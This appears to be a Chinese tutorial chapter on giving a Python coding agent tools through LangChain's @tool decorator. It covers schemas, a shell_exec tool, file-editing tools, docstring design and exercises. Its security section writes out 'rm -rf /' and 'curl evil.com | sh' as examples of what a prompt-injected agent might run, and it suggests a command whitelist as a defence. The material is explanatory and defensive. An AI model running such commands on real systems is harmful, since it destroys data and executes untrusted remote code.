当前位置:首页>python>800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

  • 2026-09-09 09:15:41
800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

目标:理解@tool 装饰器的工作原理,掌握工具设计原则,能创建自定义工具。


3.1 概念讲授:为什么 LLM 需要工具?

LLM 是"纯文字"的——它能理解和生成文字,但无法:

  • 读取你电脑上的文件
  • 执行 Shell 命令
  • 访问实时互联网

工具(Tool)是连接 LLM 和真实世界的桥梁:

  1. LLM(大脑)←→Tools(手脚)←→真实世界
  2. 调用执行

Tool Calling 的工作机制

  1. ①发送请求(含工具Schema)
  2.    LLM ←────────Agent
  3. ②返回 tool_call(结构化 JSON)
  4.    LLM ────────→Agent
  5. ③执行工具
  6. Agent──────→Tool(Python函数)
  7. ④返回结果
  8. Tool────────→Agent
  9. ⑤把结果加入对话历史,再次调用 LLM
  10. Agent──────→ LLM

3.2 概念讲授:@tool 装饰器做了什么?

  1. from langchain.tools import tool
  2. @tool
  3. def write_text_file(path: str, content: str)-> str:
  4. """Write content to a file (overwrites if exists)."""
  5. with open(path,"w", encoding='utf-8')as f:
  6.         f.write(content)
  7. return f"File {path} written successfully"

@tool 自动完成三件事:

  1. 提取函数签名 → 生成 JSON Schema(LLM 靠这个知道参数格式)
  2. 提取 docstring → 成为工具描述(LLM 靠这个知道何时调用)
  3. 包装为 StructuredTool → 统一.invoke() 接口

Schema 长什么样?

  1. import json
  2. from tools import write_text_file
  3. print(json.dumps(write_text_file.args_schema.schema(), indent=2))

输出:

  1. {
  2. "title":"write_text_fileSchema",
  3. "type":"object",
  4. "properties":{
  5. "path":{
  6. "title":"Path",
  7. "type":"string"
  8. },
  9. "content":{
  10. "title":"Content",
  11. "type":"string"
  12. }
  13. },
  14. "required":["path","content"]
  15. }

LLM 收到这个 Schema,就知道:调用write_text_file 需要提供path(字符串)和content(字符串)。


3.3 tools.py 逐行解析

shell_exec:最强但最危险

  1. @tool
  2. def shell_exec(command: str)-> str:
  3. """Execute a shell command and return its output.
  4.     Use this for curl, wget, ls, mkdir, rm, cat, etc."""
  5. try:
  6.         result = subprocess.run(
  7.             command,
  8.             shell=True,# ⚠️ 允许任意 shell 语法
  9.             capture_output=True,
  10.             text=True,
  11.             timeout=30# 防止命令卡死
  12. )
  13.         output = result.stdout.strip()
  14.         error = result.stderr.strip()
  15. if result.returncode !=0:
  16. return f"Error (code {result.returncode}): {error or 'No error message'}"
  17. return output or"(command succeeded, no output)"
  18. exceptExceptionas e:
  19. return f"Execution failed: {str(e)}"

shell=True 的安全风险

  1. # 正常调用
  2. shell_exec("ls -la")# 列出目录 ✓
  3. shell_exec("mkdir -p test/")# 创建目录 ✓
  4. # 危险调用(如果 LLM 被"提示注入")
  5. shell_exec("rm -rf /")# 删除所有文件 ✗
  6. shell_exec("curl evil.com | sh")# 执行远程脚本 ✗

生产环境保护方案:

  1. # 白名单过滤
  2. ALLOWED_COMMANDS =["ls","mkdir","cat","python3","echo"]
  3. def shell_exec_safe(command: str)-> str:
  4.     cmd_name = command.strip().split()[0]
  5. if cmd_name notin ALLOWED_COMMANDS:
  6. return f"Error: command '{cmd_name}' not allowed"
  7. ...
  8. # 或使用 Docker 容器隔离(生产推荐)

readtextfile / writetextfile / appendtextfile

  1. @tool
  2. def write_text_file(path: str, content: str)-> str:
  3. """Write content to a file (overwrites if exists).
  4.     Use append_text_file to add without overwriting."""
  5. # 注意:mode 参数不暴露给 LLM!
  6. # 早期版本有 mode 参数,LLM 可能传入 "w" 覆盖系统文件
  7. with open(path,"w", encoding='utf-8')as f:
  8.         f.write(content)
  9. return f"File {path} written successfully"
  10. @tool
  11. def append_text_file(path: str, content: str)-> str:
  12. """Append content to an existing file without overwriting it."""
  13. with open(path,"a", encoding='utf-8')as f:
  14.         f.write(content)
  15. return f"Content appended to {path}"

设计要点:write 和append 分成两个工具,而不是一个有mode 参数的工具。 原因:mode 参数暴露给 LLM 意味着 LLM 可以任意选择"w" 覆盖或"a" 追加,容易出错,也有安全风险。

edittextfile:大小写陷阱修复

  1. @tool
  2. def edit_text_file(path: str, instruction: str)-> str:
  3. """Edit file content. Examples:
  4.     - "add 'Hello world' at the end"
  5.     - "replace 'Hello' with 'Hi'"
  6.     """
  7. ...
  8.     lower_instr = instruction.lower()
  9. if lower_instr.startswith("add "):
  10. # ✅ 用原始 instruction 取内容,保留大小写
  11.         to_add = instruction[4:].strip()
  12. ...
  13. elif"replace"in lower_instr:
  14. # ✅ 用 lower_instr 定位,从原始 instruction 提取值
  15.         replace_idx = lower_instr.index("replace")+ len("replace")
  16.         with_idx = lower_instr.find(" with ", replace_idx)
  17.         old = instruction[replace_idx:with_idx].strip().strip("'\"")
  18.         new = instruction[with_idx +6:].strip().strip("'\"")
  19. ...

经典 Bug vs 修复对比:

  1. # ❌ 错误:instruction.lower() 后提取值
  2. parts = instruction.lower().split("replace")
  3. # "replace Hello with World" → lower → "replace hello with world"
  4. # old = "hello"(不是 "Hello"!),文件中的 "Hello" 不会被替换
  5. # ✅ 正确:只用 lower 做模式匹配,从原始字符串取值
  6. lower_instr = instruction.lower()
  7. replace_idx = lower_instr.index("replace")+7
  8. with_idx = lower_instr.find(" with ", replace_idx)
  9. old = instruction[replace_idx:with_idx].strip()# 原始大小写

3.4 Tool docstring 设计原则

docstring 是 LLM 决定是否调用这个工具的唯一依据。

对比示例

  1. # ❌ 差的 docstring
  2. @tool
  3. def write_text_file(path: str, content: str)-> str:
  4. """写文件"""
  5. # LLM 看到这个:不知道是覆写还是追加,不知道编码,不知道何时用
  6. # ✅ 好的 docstring
  7. @tool
  8. def write_text_file(path: str, content: str)-> str:
  9. """Write content to a file (overwrites if exists).
  10.     Use append_text_file to add without overwriting."""
  11. # LLM 看到这个:
  12. # 1. 知道会覆写("overwrites if exists")
  13. # 2. 知道有替代工具("Use append_text_file...")
  14. # 3. 会在需要覆写时选择这个工具

设计清单

  • 说明做什么:动词开头,描述工具功能

    说明副作用:覆写?追加?删除?创建?

    说明何时用:与相似工具的区别

    举例(复杂工具):Example:"replace 'old' with 'new'"

    避免冗余:不要重复函数名或参数名


3.5 工具的调用方式

  1. # 方式 A:.invoke() 传字典(推荐,类型安全)
  2. result = write_text_file.invoke({"path":"test.txt","content":"hello"})
  3. # 方式 B:直接调用(也可以,但 @tool 包装后签名可能变化)
  4. result = write_text_file("test.txt","hello")
  5. # 方式 C:AgentExecutor 自动调用(Agent 内部使用)
  6. # executor 会根据 LLM 的 tool_call 自动找到工具并执行

✏️ 带练 3-A:验证工具与查看 Schema

  1. # 1. 测试写入和读取
  2. uv run python -c "
  3. from tools import write_text_file, read_text_file
  4. result = write_text_file.invoke({'path': '/tmp/test.txt', 'content': 'Hello, Tool!'})
  5. print('Write:', result)
  6. content = read_text_file.invoke({'path': '/tmp/test.txt'})
  7. print('Read:', content)
  8. "
  9. # 2. 查看工具 Schema(LLM 实际看到的格式)
  10. uv run python -c "
  11. import json
  12. from tools import write_text_file, shell_exec
  13. print('=== write_text_file Schema ===')
  14. print(json.dumps(write_text_file.args_schema.schema(), indent=2))
  15. print()
  16. print('=== shell_exec description ===')
  17. print(shell_exec.description)
  18. "
  19. # 3. 列出所有已注册工具
  20. uv run python -c "
  21. from tools import tools
  22. from skills import skills
  23. all_tools = tools + skills
  24. for t in all_tools:
  25.     print(f'{t.name:30s} {t.description[:60]}')
  26. "

📝 独立练习 3-1

题目:实现一个count_lines 工具,接受文件路径,返回该文件的行数。

  1. @tool
  2. def count_lines(path: str)-> str:
  3. """Count the number of lines in a file.
  4.     Returns the line count as a string, or an error message if the file cannot be read."""
  5. # 提示:
  6. # 1. 用 open() 读取文件
  7. # 2. 用 .splitlines() 或 len(f.readlines()) 计算行数
  8. # 3. 异常处理(文件不存在等)
  9. pass

验收:

  1. uv run python -c "
  2. from tools import count_lines  # 假设你把它加到 tools.py
  3. print(count_lines.invoke({'path': 'tools.py'}))
  4. # 预期:类似 "tools.py has 113 lines"
  5. "

📝 独立练习 3-2

题目:实现一个search_in_file 工具,在文件中搜索关键词,返回包含该词的所有行及行号。

  1. @tool
  2. def search_in_file(path: str, keyword: str)-> str:
  3. """Search for a keyword in a file and return matching lines with line numbers.
  4.     Example: search_in_file('/etc/hosts', 'localhost')"""
  5. pass

🔍 小测 3

选择题:以下哪个@tool 函数的定义最好?

  1. # A
  2. @tool
  3. def delete_file(path: str, confirm: bool =True)-> str:
  4. """Delete a file. confirm=True requires verification."""
  5. if confirm:
  6. import os; os.remove(path)
  7. return"Deleted"
  8. # B
  9. @tool
  10. def delete_file(path: str)-> str:
  11. """Permanently delete a file from the filesystem.
  12.     WARNING: This cannot be undone. Check the path carefully before using."""
  13. import os
  14. ifnot os.path.exists(path):
  15. return f"File not found: {path}"
  16.     os.remove(path)
  17. return f"Deleted: {path}"
  18. # C
  19. @tool
  20. def delete_file(path, confirm)-> str:
  21. """Delete."""
  22. import os; os.remove(path)
  23. return"ok"

答案解析:

  • A 有问题:confirm:bool 参数暴露给 LLM,LLM 可能传False 跳过确认
  • B 最好:有类型注解(Schema 正确生成),docstring 清晰说明风险,有存在性检查,返回有意义的信息
  • C 最差:无类型注解(Schema 无法生成),docstring 无意义,无错误处理

填空题:写出调用list_dir 工具、列出/tmp 目录的正确代码:

  1. from tools import list_dir
  2. result = list_dir.invoke(________)

答案:list_dir.invoke({"path":"/tmp"})


本章小结

概念
要点
@tool
将 Python 函数包装为 LangChain 工具,自动生成 Schema
docstring
LLM 决策的依据,必须清晰说明功能和适用场景
shell=True
功能强大但危险,生产环境需要白名单或容器隔离
参数设计
只暴露 LLM 需要决策的参数;确定性操作不让 LLM 选择
.invoke({})
推荐的工具调用方式,传字典,类型安全

相关合集:
AI实践-开发最小AIAgent&Skills

最新文章

随机文章